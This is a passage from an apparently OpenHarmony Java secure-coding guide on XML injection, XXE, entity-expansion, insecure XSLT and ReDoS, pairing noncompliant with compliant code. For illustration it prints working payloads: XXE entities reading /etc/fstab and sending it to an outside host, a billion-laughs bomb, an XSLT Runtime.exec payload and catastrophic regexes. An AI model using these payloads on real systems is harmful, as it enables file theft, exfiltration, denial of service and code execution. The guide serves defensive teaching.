1447e41f4b71Sopenharmony_ciThe generated XML will take the following format: 1448e41f4b71Sopenharmony_ci 1449e41f4b71Sopenharmony_ci```xml 1450e41f4b71Sopenharmony_ci<user> 1451e41f4b71Sopenharmony_ci <id>joe</id><role>Administrator</role><!--</id> 1452e41f4b71Sopenharmony_ci <role>operator</role> 1453e41f4b71Sopenharmony_ci <description>--><description>I want to be an administrator</description> 1454e41f4b71Sopenharmony_ci</user> 1455e41f4b71Sopenharmony_ci``` 1456e41f4b71Sopenharmony_ci 1457e41f4b71Sopenharmony_ciAs shown above, **\<** and **>** are replaced with **\<** and **\>** respectively after XML encoding. As a result, the attacker fails to escalate from an operator to an administrator. 1458e41f4b71Sopenharmony_ci 1459e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Encoding) 1460e41f4b71Sopenharmony_ci 1461e41f4b71Sopenharmony_ci```java 1462e41f4b71Sopenharmony_ciprivate void createXMLStream(BufferedOutputStream outStream, User user) 1463e41f4b71Sopenharmony_ci throws IOException { 1464e41f4b71Sopenharmony_ci ... 1465e41f4b71Sopenharmony_ci String encodeUserId = XXXXEncoder.encodeForXML(user.getUserId()); 1466e41f4b71Sopenharmony_ci String encodeDec = XXXXEncoder.encodeForXML(user.getDescription()); 1467e41f4b71Sopenharmony_ci 1468e41f4b71Sopenharmony_ci String xmlString = "<user><id>" + encodeUserId 1469e41f4b71Sopenharmony_ci + "</id><role>operator</role><description>" + encodeDec 1470e41f4b71Sopenharmony_ci + "</description></user>"; 1471e41f4b71Sopenharmony_ci outStream.write(xmlString.getBytes(StandardCharsets.UTF_8)); 1472e41f4b71Sopenharmony_ci outStream.flush(); 1473e41f4b71Sopenharmony_ci} 1474e41f4b71Sopenharmony_ci``` 1475e41f4b71Sopenharmony_ci 1476e41f4b71Sopenharmony_ciIn this compliant code example, external data is encoded before the XML string is concatenated, to prevent tampering with the XML string structure. 1477e41f4b71Sopenharmony_ci 1478e41f4b71Sopenharmony_ci## Prevent XML External Entity (XXE) attacks caused by parsing external XML 1479e41f4b71Sopenharmony_ci 1480e41f4b71Sopenharmony_ci**\[Description]** 1481e41f4b71Sopenharmony_ci 1482e41f4b71Sopenharmony_ciXML entities include internal and external entities. An external entity takes the format of `<!ENTITY SYSTEM "URI"\>` or `<!ENTITY PUBLIC "public_ID" "URI"\>`. In Java, protocols that introduce external entities include HTTP, HTTPS, FTP, file, JAR, netdoc, and mailto. The XXE vulnerability occurs when an application parses external XML data or files without forbidding the loading of external entities, causing arbitrary file reading, intranet port scanning, intranet website attacks, DoS, and other attacks. 1483e41f4b71Sopenharmony_ci 1484e41f4b71Sopenharmony_ci1\. Use the external entity reference function to read arbitrary files: 1485e41f4b71Sopenharmony_ci 1486e41f4b71Sopenharmony_ci```xml 1487e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="utf-8"?> 1488e41f4b71Sopenharmony_ci<!DOCTYPE updateProfile [ 1489e41f4b71Sopenharmony_ci <!ENTITY file SYSTEM "file:///c:/xxx/xxx.ini"> ]> 1490e41f4b71Sopenharmony_ci<updateProfile> 1491e41f4b71Sopenharmony_ci <firstname>Joe</firstname> 1492e41f4b71Sopenharmony_ci <lastname>&file;</lastname> 1493e41f4b71Sopenharmony_ci ... 1494e41f4b71Sopenharmony_ci</updateProfile> 1495e41f4b71Sopenharmony_ci``` 1496e41f4b71Sopenharmony_ci 1497e41f4b71Sopenharmony_ci2\. Use parameter entities and **\<CDATA\[]>** to avoid XML parsing syntax errors and the parsing of malicious entities. 1498e41f4b71Sopenharmony_ci 1499e41f4b71Sopenharmony_ciXML file: Construct the parameter entities **% start**, **% goodies**, **% end**, and **% dtd** to define a malicious **combine.dtd**. 1500e41f4b71Sopenharmony_ci 1501e41f4b71Sopenharmony_ci```xml 1502e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="utf-8"?> 1503e41f4b71Sopenharmony_ci<!DOCTYPE roottag [ 1504e41f4b71Sopenharmony_ci <!ENTITY % start "<![CDATA["> 1505e41f4b71Sopenharmony_ci <!ENTITY % goodies SYSTEM "file:///etc/fstab"> 1506e41f4b71Sopenharmony_ci <!ENTITY % end "]]>"> 1507e41f4b71Sopenharmony_ci <!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd"> 1508e41f4b71Sopenharmony_ci %dtd; 1509e41f4b71Sopenharmony_ci ]> 1510e41f4b71Sopenharmony_ci<roottag>&all;</roottag> 1511e41f4b71Sopenharmony_ci``` 1512e41f4b71Sopenharmony_ci 1513e41f4b71Sopenharmony_ciDefine the **\&all** entity in the malicious DTD **combine.dtd**. 1514e41f4b71Sopenharmony_ci 1515e41f4b71Sopenharmony_ci```xml 1516e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="UTF-8"?> 1517e41f4b71Sopenharmony_ci<!ENTITY all "%start;%goodies;%end;"> 1518e41f4b71Sopenharmony_ci``` 1519e41f4b71Sopenharmony_ci 1520e41f4b71Sopenharmony_ciAn ill-intentioned user can even construct a malicious **combine.dtd** to send the result to the destination address and finally obtain the **file:///etc/fstab** file. 1521e41f4b71Sopenharmony_ci 1522e41f4b71Sopenharmony_ci```xml 1523e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="UTF-8"?> 1524e41f4b71Sopenharmony_ci<!ENTITY % send "<!ENTITY all SYSTEM 'http://mywebsite.com/?%gooddies;'>"> 1525e41f4b71Sopenharmony_ci%send; 1526e41f4b71Sopenharmony_ci``` 1527e41f4b71Sopenharmony_ci 1528e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1529e41f4b71Sopenharmony_ci 1530e41f4b71Sopenharmony_ciIn this example, an external XML file is parsed. The parsing of DTDs or external entities is not disabled. 1531e41f4b71Sopenharmony_ci 1532e41f4b71Sopenharmony_ci```java 1533e41f4b71Sopenharmony_ciprivate void parseXmlFile(String filePath) { 1534e41f4b71Sopenharmony_ci try { 1535e41f4b71Sopenharmony_ci DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1536e41f4b71Sopenharmony_ci DocumentBuilder db = dbf.newDocumentBuilder(); 1537e41f4b71Sopenharmony_ci Document doc = db.parse(new File(filePath)); 1538e41f4b71Sopenharmony_ci ... //Parse the XML file 1539e41f4b71Sopenharmony_ci } catch (ParserConfigurationException ex) { 1540e41f4b71Sopenharmony_ci //Handle the exception 1541e41f4b71Sopenharmony_ci } 1542e41f4b71Sopenharmony_ci ... 1543e41f4b71Sopenharmony_ci} 1544e41f4b71Sopenharmony_ci``` 1545e41f4b71Sopenharmony_ci 1546e41f4b71Sopenharmony_ciThis noncompliant code example does not provide security protection for XML parsing. When the XML file is crafted by an attacker, the system is vulnerable to XXE attacks. 1547e41f4b71Sopenharmony_ci 1548e41f4b71Sopenharmony_ci**\[Complaint Code Example]** (Disabling DTD Parsing) 1549e41f4b71Sopenharmony_ci 1550e41f4b71Sopenharmony_ci```java 1551e41f4b71Sopenharmony_ciprivate void parserXmlFileDisableDtds(String filePath) { 1552e41f4b71Sopenharmony_ci try { 1553e41f4b71Sopenharmony_ci DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1554e41f4b71Sopenharmony_ci 1555e41f4b71Sopenharmony_ci dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 1556e41f4b71Sopenharmony_ci dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1557e41f4b71Sopenharmony_ci dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1558e41f4b71Sopenharmony_ci DocumentBuilder db = dbf.newDocumentBuilder(); 1559e41f4b71Sopenharmony_ci Document doc = db.parse(new File(filePath)); 1560e41f4b71Sopenharmony_ci ... //Parse the XML file 1561e41f4b71Sopenharmony_ci } catch (ParserConfigurationException ex) { 1562e41f4b71Sopenharmony_ci //Handle the exception 1563e41f4b71Sopenharmony_ci } 1564e41f4b71Sopenharmony_ci ... 1565e41f4b71Sopenharmony_ci} 1566e41f4b71Sopenharmony_ci``` 1567e41f4b71Sopenharmony_ci 1568e41f4b71Sopenharmony_ciThe compliant code example disables the parsing of DTDs, which can prevent both XXE and internal entity attacks. 1569e41f4b71Sopenharmony_ci 1570e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Disabling the Parsing of External General Entities and Parameter Entities) 1571e41f4b71Sopenharmony_ci 1572e41f4b71Sopenharmony_ciThis compliant code example can prevent XXE attacks but not XML internal entity attacks. 1573e41f4b71Sopenharmony_ci 1574e41f4b71Sopenharmony_ci```java 1575e41f4b71Sopenharmony_ciprivate void parserXmlFileDisableExternalEntityes(String filePath) { 1576e41f4b71Sopenharmony_ci try { 1577e41f4b71Sopenharmony_ci DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1578e41f4b71Sopenharmony_ci dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", false); 1579e41f4b71Sopenharmony_ci dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1580e41f4b71Sopenharmony_ci dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1581e41f4b71Sopenharmony_ci DocumentBuilder db = dbf.newDocumentBuilder(); 1582e41f4b71Sopenharmony_ci Document doc = db.parse(new File(filePath)); 1583e41f4b71Sopenharmony_ci ... //Parse the XML file 1584e41f4b71Sopenharmony_ci } catch (ParserConfigurationException ex) { 1585e41f4b71Sopenharmony_ci //Handle the exception 1586e41f4b71Sopenharmony_ci } 1587e41f4b71Sopenharmony_ci ... 1588e41f4b71Sopenharmony_ci} 1589e41f4b71Sopenharmony_ci``` 1590e41f4b71Sopenharmony_ci 1591e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Trustlist Validation on External Entities) 1592e41f4b71Sopenharmony_ci 1593e41f4b71Sopenharmony_ciThe compliant code example defines a **CustomResolver** class to implement interface `org.xml.sax.EntityResolver`. A customized mechanism for processing external entities is implemented in this class. The customized entity parsing method uses a simple trustlist for validation. If a match is found in the trustlist, the corresponding file content is returned; if no match is found, the returned result is empty. 1594e41f4b71Sopenharmony_ci 1595e41f4b71Sopenharmony_ci```java 1596e41f4b71Sopenharmony_ciprivate static void parserXmlFileValidateEntities(String filePath) { 1597e41f4b71Sopenharmony_ci try { 1598e41f4b71Sopenharmony_ci DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1599e41f4b71Sopenharmony_ci DocumentBuilder db = dbf.newDocumentBuilder(); 1600e41f4b71Sopenharmony_ci db.setEntityResolver(new ValidateEntityResolver()); 1601e41f4b71Sopenharmony_ci Document doc = db.parse(new File(filePath)); 1602e41f4b71Sopenharmony_ci ... //Parse the XML file 1603e41f4b71Sopenharmony_ci } catch (ParserConfigurationException ex) { 1604e41f4b71Sopenharmony_ci //Handle the exception 1605e41f4b71Sopenharmony_ci } 1606e41f4b71Sopenharmony_ci ... 1607e41f4b71Sopenharmony_ci} 1608e41f4b71Sopenharmony_ci 1609e41f4b71Sopenharmony_ciclass ValidateEntityResolver implements EntityResolver { 1610e41f4b71Sopenharmony_ci private static final String GOOD_ENTITY = "file:/Users/onlinestore/good.xml"; 1611e41f4b71Sopenharmony_ci 1612e41f4b71Sopenharmony_ci public InputSource resolveEntity(String publicId, String systemId) 1613e41f4b71Sopenharmony_ci throws SAXException, IOException { 1614e41f4b71Sopenharmony_ci if (publicId != null && publicId.equals(GOOD_ENTITY)) { 1615e41f4b71Sopenharmony_ci return new InputSource(publicId); 1616e41f4b71Sopenharmony_ci } else if (systemId != null && systemId.equals(GOOD_ENTITY)) { 1617e41f4b71Sopenharmony_ci return new InputSource(systemId); 1618e41f4b71Sopenharmony_ci } else { 1619e41f4b71Sopenharmony_ci return new InputSource(); 1620e41f4b71Sopenharmony_ci } 1621e41f4b71Sopenharmony_ci } 1622e41f4b71Sopenharmony_ci} 1623e41f4b71Sopenharmony_ci``` 1624e41f4b71Sopenharmony_ci 1625e41f4b71Sopenharmony_ciIf external entities must be used in XML operations in the system, the external entities must be validated against the trustlist. As shown in the above example, a `ValidateEntityResolver` class is customized (with implementation interface `org.xml.sax.EntityResolver`) to validate XXEs using the `resolveEntity` method. XXEs not in the trustlist are not parsed. 1626e41f4b71Sopenharmony_ci 1627e41f4b71Sopenharmony_ciRemarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of external entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect. 1628e41f4b71Sopenharmony_ci 1629e41f4b71Sopenharmony_ci## Prevent XML Entity Expansion (XEE) attacks caused by parsing external XML 1630e41f4b71Sopenharmony_ci 1631e41f4b71Sopenharmony_ci**\[Description]** 1632e41f4b71Sopenharmony_ci 1633e41f4b71Sopenharmony_ciThe content of XML internal entities has been declared in Doctype. An internal entity takes the format of or `<!ENTITY "ENTITY VALUE"\>`. XEE attack is a common internal entity attack. It mainly attempts to consume the server memory resources of the target program to cause DoS attacks. XXE and XEE attacks have different protection measures (disabling DTD parsing can prevent both). 1634e41f4b71Sopenharmony_ci 1635e41f4b71Sopenharmony_ciParsing the malicious internal entity in the following example occupies many server memory resources, causing DoS attacks. 1636e41f4b71Sopenharmony_ci 1637e41f4b71Sopenharmony_ci```xml 1638e41f4b71Sopenharmony_ci<?xml version="1.0"?> 1639e41f4b71Sopenharmony_ci<!DOCTYPE lolz [ 1640e41f4b71Sopenharmony_ci <!ENTITY lol "lol"> 1641e41f4b71Sopenharmony_ci <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 1642e41f4b71Sopenharmony_ci <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 1643e41f4b71Sopenharmony_ci <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 1644e41f4b71Sopenharmony_ci <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 1645e41f4b71Sopenharmony_ci <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 1646e41f4b71Sopenharmony_ci <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 1647e41f4b71Sopenharmony_ci <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 1648e41f4b71Sopenharmony_ci <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> 1649e41f4b71Sopenharmony_ci ]> 1650e41f4b71Sopenharmony_ci<lolz>&lol9;</lolz> 1651e41f4b71Sopenharmony_ci``` 1652e41f4b71Sopenharmony_ci 1653e41f4b71Sopenharmony_ci**Disabling DTD parsing is the best method to protect** against XEE attacks. You can also limit the number of internal entities to reduce the possibility of XEE attacks. If internal entities are not required, disable DTD parsing. If internal entities are required, strictly limit the number of internal entities and the size of XML content. 1654e41f4b71Sopenharmony_ci 1655e41f4b71Sopenharmony_ci**\[Complaint Code Example]** (Disabling DTD Parsing) 1656e41f4b71Sopenharmony_ci 1657e41f4b71Sopenharmony_ci```java 1658e41f4b71Sopenharmony_cipublic void receiveXMLStream(InputStream inStream) 1659e41f4b71Sopenharmony_ci throws ParserConfigurationException, SAXException, IOException { 1660e41f4b71Sopenharmony_ci DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1661e41f4b71Sopenharmony_ci dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 1662e41f4b71Sopenharmony_ci dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); 1663e41f4b71Sopenharmony_ci dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); 1664e41f4b71Sopenharmony_ci DocumentBuilder db = dbf.newDocumentBuilder(); 1665e41f4b71Sopenharmony_ci db.parse(inStream); 1666e41f4b71Sopenharmony_ci} 1667e41f4b71Sopenharmony_ci``` 1668e41f4b71Sopenharmony_ci 1669e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed) 1670e41f4b71Sopenharmony_ci 1671e41f4b71Sopenharmony_ciThe default maximum number of entities to be parsed by the JAXP parser in Java is 64,000, while fewer entities need to be parsed by the JAXP parser in fact. Therefore, we can set a smaller number. The following code example limits the number of entities to be parsed by setting the attributes of the DOM parser. 1672e41f4b71Sopenharmony_ci 1673e41f4b71Sopenharmony_ci```java 1674e41f4b71Sopenharmony_cipublic void receiveXMLStream(InputStream inStream) 1675e41f4b71Sopenharmony_ci throws ParserConfigurationException, SAXException, IOException { 1676e41f4b71Sopenharmony_ci DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1677e41f4b71Sopenharmony_ci dbf.setAttribute("http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit", 1678e41f4b71Sopenharmony_ci "200"); 1679e41f4b71Sopenharmony_ci DocumentBuilder db = dbf.newDocumentBuilder(); 1680e41f4b71Sopenharmony_ci db.parse(inStream); 1681e41f4b71Sopenharmony_ci} 1682e41f4b71Sopenharmony_ci``` 1683e41f4b71Sopenharmony_ci 1684e41f4b71Sopenharmony_ciRemarks: The **http://www.oracle.com/xml/jaxp/properties/entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. The SAX and StAX parsers in JAXP do not support this attribute. 1685e41f4b71Sopenharmony_ci 1686e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed) 1687e41f4b71Sopenharmony_ci 1688e41f4b71Sopenharmony_ciThe following code example limits the number of entities to be parsed by setting system attributes. 1689e41f4b71Sopenharmony_ci 1690e41f4b71Sopenharmony_ci```java 1691e41f4b71Sopenharmony_cipublic void receiveXMLStream(InputStream inStream) 1692e41f4b71Sopenharmony_ci throws ParserConfigurationException, SAXException, IOException { 1693e41f4b71Sopenharmony_ci 1694e41f4b71Sopenharmony_ci //Use system attributes to limit the number of entities 1695e41f4b71Sopenharmony_ci System.setProperty("entityExpansionLimit", "200"); 1696e41f4b71Sopenharmony_ci DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 1697e41f4b71Sopenharmony_ci DocumentBuilder db = dbf.newDocumentBuilder(); 1698e41f4b71Sopenharmony_ci db.parse(inStream); 1699e41f4b71Sopenharmony_ci} 1700e41f4b71Sopenharmony_ci``` 1701e41f4b71Sopenharmony_ci 1702e41f4b71Sopenharmony_ciRemarks: The **entityExpansionLimit** attribute is supported in JDK 7u45+ and JDK 8. This method is effective in both SAX and StAX parsers in JAXP. 1703e41f4b71Sopenharmony_ci 1704e41f4b71Sopenharmony_ciSome products use the DOM, SAX, and StAX parsers provided by the Xerces third-party JAR package, where you can set `setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true)` to limit the number of entities to be no more than 100,000. 1705e41f4b71Sopenharmony_ci 1706e41f4b71Sopenharmony_ci**\[Compliant Code Example]** (Limiting the Number of Internal Entities to Be Parsed) 1707e41f4b71Sopenharmony_ci 1708e41f4b71Sopenharmony_ciThis compliant code example limits the number of parsed entities in the Xerces package. 1709e41f4b71Sopenharmony_ci 1710e41f4b71Sopenharmony_ci```java 1711e41f4b71Sopenharmony_ciprivate static void receiveXMLStream(InputStream inStream) 1712e41f4b71Sopenharmony_ci throws ParserConfigurationException, SAXException, IOException { 1713e41f4b71Sopenharmony_ci DocumentBuilderFactory factory = DocumentBuilderFactoryImpl.newInstance(); 1714e41f4b71Sopenharmony_ci factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); 1715e41f4b71Sopenharmony_ci DocumentBuilder db = factory.newDocumentBuilder(); 1716e41f4b71Sopenharmony_ci org.w3c.dom.Document doc = db.parse(inStream); 1717e41f4b71Sopenharmony_ci doc.getChildNodes(); 1718e41f4b71Sopenharmony_ci} 1719e41f4b71Sopenharmony_ci``` 1720e41f4b71Sopenharmony_ci 1721e41f4b71Sopenharmony_ciRemarks: The XML parser used above is only an example. When a program loads external XML data, you can disable the parsing of internal entities by setting attributes or other methods that take effect on the parser, and construct malicious XML content as shown in the above example to check the program response, so as to determine whether the set attributes take effect. 1722e41f4b71Sopenharmony_ci 1723e41f4b71Sopenharmony_ci## Do not use insecure XSLT to convert XML files 1724e41f4b71Sopenharmony_ci 1725e41f4b71Sopenharmony_ci**\[Description]** 1726e41f4b71Sopenharmony_ci 1727e41f4b71Sopenharmony_ciExtensible stylesheet language transformation (XSLT) can convert XML data into other XML format or other formats such as HTML and pure text. XSLT can be exploited to execute arbitrary code. Therefore, when **TransformerFactory** is used to convert XML data, security policies need to be added to prevent insecure XSLT code execution. 1728e41f4b71Sopenharmony_ci 1729e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1730e41f4b71Sopenharmony_ci 1731e41f4b71Sopenharmony_ci```java 1732e41f4b71Sopenharmony_cipublic void XsltTrans(String src, String dst, String xslt) { 1733e41f4b71Sopenharmony_ci //Obtain the transformer factory 1734e41f4b71Sopenharmony_ci TransformerFactory tf = TransformerFactory.newInstance(); 1735e41f4b71Sopenharmony_ci try { 1736e41f4b71Sopenharmony_ci //Obtain the transformer object instance 1737e41f4b71Sopenharmony_ci Transformer transformer = tf.newTransformer(new StreamSource(xslt)); 1738e41f4b71Sopenharmony_ci 1739e41f4b71Sopenharmony_ci //Carry out transformation 1740e41f4b71Sopenharmony_ci transformer.transform(new StreamSource(src), 1741e41f4b71Sopenharmony_ci new StreamResult(new FileOutputStream(dst))); 1742e41f4b71Sopenharmony_ci ... 1743e41f4b71Sopenharmony_ci } catch (TransformerException ex) { 1744e41f4b71Sopenharmony_ci //Handle the exception 1745e41f4b71Sopenharmony_ci } 1746e41f4b71Sopenharmony_ci ... 1747e41f4b71Sopenharmony_ci} 1748e41f4b71Sopenharmony_ci``` 1749e41f4b71Sopenharmony_ci 1750e41f4b71Sopenharmony_ciIn this example, XSLT is not restricted and is called directly. When XSLT code resembling the following is executed, command execution vulnerabilities may occur: 1751e41f4b71Sopenharmony_ci 1752e41f4b71Sopenharmony_ci```xml 1753e41f4b71Sopenharmony_ci<?xml version="1.0" encoding="UTF-8" ?> 1754e41f4b71Sopenharmony_ci<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="java"> 1755e41f4b71Sopenharmony_ci <xsl:template match="/" xmlns:os="java:lang.Runtime" > 1756e41f4b71Sopenharmony_ci <xsl:variable name="runtime" select="java:lang.Runtime.getRuntime()"/> 1757e41f4b71Sopenharmony_ci <xsl:value-of select="os:exec($runtime, 'calc')" /> 1758e41f4b71Sopenharmony_ci </xsl:template> 1759e41f4b71Sopenharmony_ci</xsl:stylesheet> 1760e41f4b71Sopenharmony_ci``` 1761e41f4b71Sopenharmony_ci 1762e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1763e41f4b71Sopenharmony_ci 1764e41f4b71Sopenharmony_ci```java 1765e41f4b71Sopenharmony_cipublic void xsltTrans(String src, String dst, String xslt) { 1766e41f4b71Sopenharmony_ci //Obtain the transformer factory 1767e41f4b71Sopenharmony_ci TransformerFactory tf = TransformerFactory.newInstance(); 1768e41f4b71Sopenharmony_ci try { 1769e41f4b71Sopenharmony_ci //Set a blocklist for the transformer factory to prohibit some insecure methods, which is similar to XXE protection 1770e41f4b71Sopenharmony_ci tf.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true); 1771e41f4b71Sopenharmony_ci 1772e41f4b71Sopenharmony_ci //Obtain the transformer object instance 1773e41f4b71Sopenharmony_ci Transformer transformer = tf.newTransformer(new StreamSource(xslt)); 1774e41f4b71Sopenharmony_ci 1775e41f4b71Sopenharmony_ci //Remove <?xml version="1.0" encoding="UTF-8"?> 1776e41f4b71Sopenharmony_ci transformer.setOutputProperty("omit-xml-declaration", "yes"); 1777e41f4b71Sopenharmony_ci 1778e41f4b71Sopenharmony_ci //Carry out transformation 1779e41f4b71Sopenharmony_ci transformer.transform(new StreamSource(src), 1780e41f4b71Sopenharmony_ci new StreamResult(new FileOutputStream(dst))); 1781e41f4b71Sopenharmony_ci ... 1782e41f4b71Sopenharmony_ci } catch (TransformerException ex) { 1783e41f4b71Sopenharmony_ci //Handle the exception 1784e41f4b71Sopenharmony_ci } 1785e41f4b71Sopenharmony_ci ... 1786e41f4b71Sopenharmony_ci} 1787e41f4b71Sopenharmony_ci``` 1788e41f4b71Sopenharmony_ci 1789e41f4b71Sopenharmony_ciA security policy can be added to **TransformerFactory**. Java has a built-in blocklist for XSLT. Here some insecure methods are disabled by setting **http://javax.xml.XMLConstants/feature/secure-processing** to **true**. 1790e41f4b71Sopenharmony_ci 1791e41f4b71Sopenharmony_ci## Try best to simplify the regular expression (regex) to prevent regular expression denial of service (ReDoS) attacks 1792e41f4b71Sopenharmony_ci 1793e41f4b71Sopenharmony_ci**\[Description]** 1794e41f4b71Sopenharmony_ci 1795e41f4b71Sopenharmony_ciReDoS attacks are common security risks caused by inappropriate regexes. The NFA engine is used for regex matching in Java. Due to the backtracking mechanism of the NFA engine, the time consumed when a regex is not matched is longer than the time consumed when the regex is matched. That's because the regex needs to be matched against all possible paths before a mismatch is determined and a failure is returned. ReDoS attacks rarely occur when a simple regex without groups is used. The following types of regexes are vulnerable to ReDoS attacks: 1796e41f4b71Sopenharmony_ci 1797e41f4b71Sopenharmony_ci1\. Regexes containing self-repeating groups, for example: 1798e41f4b71Sopenharmony_ci 1799e41f4b71Sopenharmony_ci`^(\d+)+$` 1800e41f4b71Sopenharmony_ci 1801e41f4b71Sopenharmony_ci `^(\d*)*$` 1802e41f4b71Sopenharmony_ci 1803e41f4b71Sopenharmony_ci `^(\d+)*$` 1804e41f4b71Sopenharmony_ci 1805e41f4b71Sopenharmony_ci `^(\d+|\s+)*$` 1806e41f4b71Sopenharmony_ci 1807e41f4b71Sopenharmony_ci2\. Regexes containing repetitive groups with replacement, for example: 1808e41f4b71Sopenharmony_ci 1809e41f4b71Sopenharmony_ci`^(\d|\d|\d)+$` 1810e41f4b71Sopenharmony_ci 1811e41f4b71Sopenharmony_ci`^(\d|\d?)+$` 1812e41f4b71Sopenharmony_ci 1813e41f4b71Sopenharmony_ciMeasures for defending against ReDoS attacks are as follows: 1814e41f4b71Sopenharmony_ci 1815e41f4b71Sopenharmony_ci- Check the text length before regex matching. 1816e41f4b71Sopenharmony_ci- Avoid using complex regexes and minimize groups. Take `^(([a-z])+\.)+[A-Z]([a-z])+$` (which has the ReDoS risk) as an example. You can delete the redundant group `^([a-z]+\.)+[A-Z][a-z]+$` without altering the check rule, eliminating the ReDoS risk. 1817e41f4b71Sopenharmony_ci- Do not dynamically construct regexes. Implement strict trustlist validation when using external data to construct regexes. 1818e41f4b71Sopenharmony_ci 1819e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1820e41f4b71Sopenharmony_ci 1821e41f4b71Sopenharmony_ci```java 1822e41f4b71Sopenharmony_ciprivate static final Pattern REGEX_PATTER = Pattern.compile("a(b|c+)+d"); 1823e41f4b71Sopenharmony_ci 1824e41f4b71Sopenharmony_cipublic static void main(String[] args) { 1825e41f4b71Sopenharmony_ci ... 1826e41f4b71Sopenharmony_ci Matcher matcher = REGEX_PATTER.matcher(args[0]); 1827e41f4b71Sopenharmony_ci if (matcher.matches()) { 1828e41f4b71Sopenharmony_ci ... 1829e41f4b71Sopenharmony_ci } else { 1830e41f4b71Sopenharmony_ci ... 1831e41f4b71Sopenharmony_ci } 1832e41f4b71Sopenharmony_ci ... 1833e41f4b71Sopenharmony_ci} 1834e41f4b71Sopenharmony_ci``` 1835e41f4b71Sopenharmony_ci 1836e41f4b71Sopenharmony_ciThis noncompliant code example uses the `a(b|c+)+d` regex which has the ReDoS risk. When the matched string resembles **accccccccccccccccx**, the code execution time sees exponential growth with the increase in the number of **c** characters. 1837e41f4b71Sopenharmony_ci 1838e41f4b71Sopenharmony_ci**\[Compliant Code Example]** 1839e41f4b71Sopenharmony_ci 1840e41f4b71Sopenharmony_ci```java 1841e41f4b71Sopenharmony_ciprivate static final Pattern REGEX_PATTER = Pattern.compile("a[bc]+d"); 1842e41f4b71Sopenharmony_ci 1843e41f4b71Sopenharmony_cipublic static void main(String[] args) { 1844e41f4b71Sopenharmony_ci ... 1845e41f4b71Sopenharmony_ci Matcher matcher = REGEX_PATTER.matcher(args[0]); 1846e41f4b71Sopenharmony_ci if (matcher.matches()) { 1847e41f4b71Sopenharmony_ci ... 1848e41f4b71Sopenharmony_ci } else { 1849e41f4b71Sopenharmony_ci ... 1850e41f4b71Sopenharmony_ci } 1851e41f4b71Sopenharmony_ci ... 1852e41f4b71Sopenharmony_ci} 1853e41f4b71Sopenharmony_ci``` 1854e41f4b71Sopenharmony_ci 1855e41f4b71Sopenharmony_ciThis compliant code example simplifies the regex into `a[bc]+d` without changing the function, eliminating the ReDoS risk. 1856e41f4b71Sopenharmony_ci 1857e41f4b71Sopenharmony_ci**\[Noncompliant Code Example]** 1858e41f4b71Sopenharmony_ci 1859e41f4b71Sopenharmony_ci```java 1860e41f4b71Sopenharmony_ciString key = request.getParameter("keyword"); 1861e41f4b71Sopenharmony_ci... 1862e41f4b71Sopenharmony_ciString regex = "[a-zA-Z0-9_-]+@" + key + "\\.com"; 1863e41f4b71Sopenharmony_ciPattern searchPattern = Pattern.compile(regex); 1864e41f4b71Sopenharmony_ci... 1865e41f4b71Sopenharmony_ci``` 1866e41f4b71Sopenharmony_ci 1867e41f4b71Sopenharmony_ciThis noncompliant code example uses the keyword specified by an external input source to construct the regex. The ReDoS risk may occur when the keyword contains repetitive groups. Therefore, during code development, do not use external data directly as regexes or to construct regexes. 1868e41f4b71Sopenharmony_ci 